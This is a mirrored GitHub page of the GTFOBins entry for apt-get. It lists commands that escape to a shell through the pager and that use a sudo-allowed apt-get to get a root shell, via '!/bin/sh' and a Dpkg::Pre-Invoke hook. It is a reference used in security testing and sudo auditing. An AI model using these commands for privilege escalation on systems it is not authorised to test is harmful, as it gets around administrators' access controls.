mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
46fd726c5a
Improve description, enforce standards and make sure that the package will not be installed. Related #38.
16 lines
592 B
Markdown
16 lines
592 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
code: |
|
|
apt-get changelog apt
|
|
!/bin/sh
|
|
sudo:
|
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
code: |
|
|
sudo apt-get changelog apt
|
|
!/bin/sh
|
|
- description: For this to work the target package (e.g., `sl`) must not be installed.
|
|
code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
|
|
---
|